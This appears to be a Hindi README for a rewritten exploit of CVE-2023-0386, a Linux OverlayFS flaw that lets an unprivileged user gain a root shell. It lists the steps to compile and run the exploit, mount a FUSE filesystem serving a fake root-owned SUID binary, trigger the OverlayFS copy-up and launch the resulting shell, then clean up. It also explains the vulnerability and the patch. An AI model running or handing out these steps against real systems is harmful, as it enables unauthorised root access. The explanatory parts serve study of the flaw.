
overlayFS का उपयोग करके नकली इन-मेमोरी फ़ाइलों को डिस्क पर कॉपी करें
मूल CVE स्रोत xkaneiki द्वारा लिखा गया: https://github.com/xkaneiki/CVE-2023-0386/tree/main
इसे इस प्रकार फिर से लिखा गया है कि एक्सप्लॉइट को 1 शेल में चलाया जा सके (मूल एक्सप्लॉइट के लिए 2 शेल की आवश्यकता होती है)।
# कंपाइल करें
make all
# फ्यूज़ फाइलसिस्टम के लिए माउंट पॉइंट बनाएं
mkdir -p /tmp/fusepwn/lower
# फ्यूज़ शुरू करें (जो एक SUID बाइनरी प्रदान करता है)
./fuse /tmp/fusepwn/lower
# एक्सप्लॉइट चलाएं (जो ओवरलेएफएस के माध्यम से फ्यूज़ के नकली SUID बाइनरी को असली SUID अधिकारों के साथ डिस्क पर कॉपी करता है)
./exp
# शेल चलाएं
/tmp/fusepwn/upper/bin
सफाई
# फ्यूज़ फाइलसिस्टम अनमाउंट करें
fusermount -u /tmp/fusepwn/lower
# सब कुछ हटा दें
rm -rf /tmp/fusepwn
# ओवरलेएफएस अनमाउंट करें (केवल रूट। आवश्यक नहीं है)
umount /tmp/fusepwn/merge
findmnt का उपयोग करेंfuse.c एक फ्यूज़ फाइल सिस्टम बनाता है जो /tmp/fusepwn/lower पर माउंट होता है और रूट के स्वामित्व वाली एक नकली SUID बाइनरी प्रदान करता है। यह एक इन-मेमोरी फाइलसिस्टम है, इसलिए हम अनुमतियों के सेट के बारे में झूठ बोल सकते हैं।
exp.c फिर /tmp/fusepwn में एक ओवरलेएफएस माउंट बनाता है और नकली SUID बाइनरी (/tmp/fusepwn/lower/bin) को खोलता है। खोलने पर, यह ओवरलेएफएस को कॉपी-अप करने के लिए ट्रिगर करता है, जो नकली SUID बाइनरी को वास्तविक SUID विशेषाधिकारों के साथ और रूट के स्वामित्व में डिस्क पर लिखता है।
यह भेद्यता ओवरलेएफएस में इस तरह मौजूद है कि यह आँख मूंदकर भरोसा करता है कि निचले फाइलसिस्टम द्वारा उसे फाइल अनुमतियाँ कैसे प्रदान की जा रही हैं। यदि निचला फाइलसिस्टम कर्नेल है, तो यह ठीक है (क्योंकि रूट अनुमतियों के बिना इसमें हेरफेर नहीं किया जा सकता है)। यदि निचले फाइलसिस्टम में उपयोगकर्ता द्वारा हेरफेर किया जा सकता है, तो यह ठीक नहीं है क्योंकि हम झूठ बोल सकते हैं कि वहाँ कौन सी फाइलें हैं (जैसे FUSE का उपयोग करके)।
पैच जाँचता है कि फाइल का UID/GID उपयोगकर्ता के नेमस्पेस के भीतर मान्य है या नहीं। यदि यह मान्य नहीं है, तो यह कॉपी-अप को विफल कर देता है।
अर्थात्
proc/self/uid_map में 1000 (bob का UID) को 0 (रूट) मैप करके एक नया नेमस्पेस रूट के रूप में बनाते हैं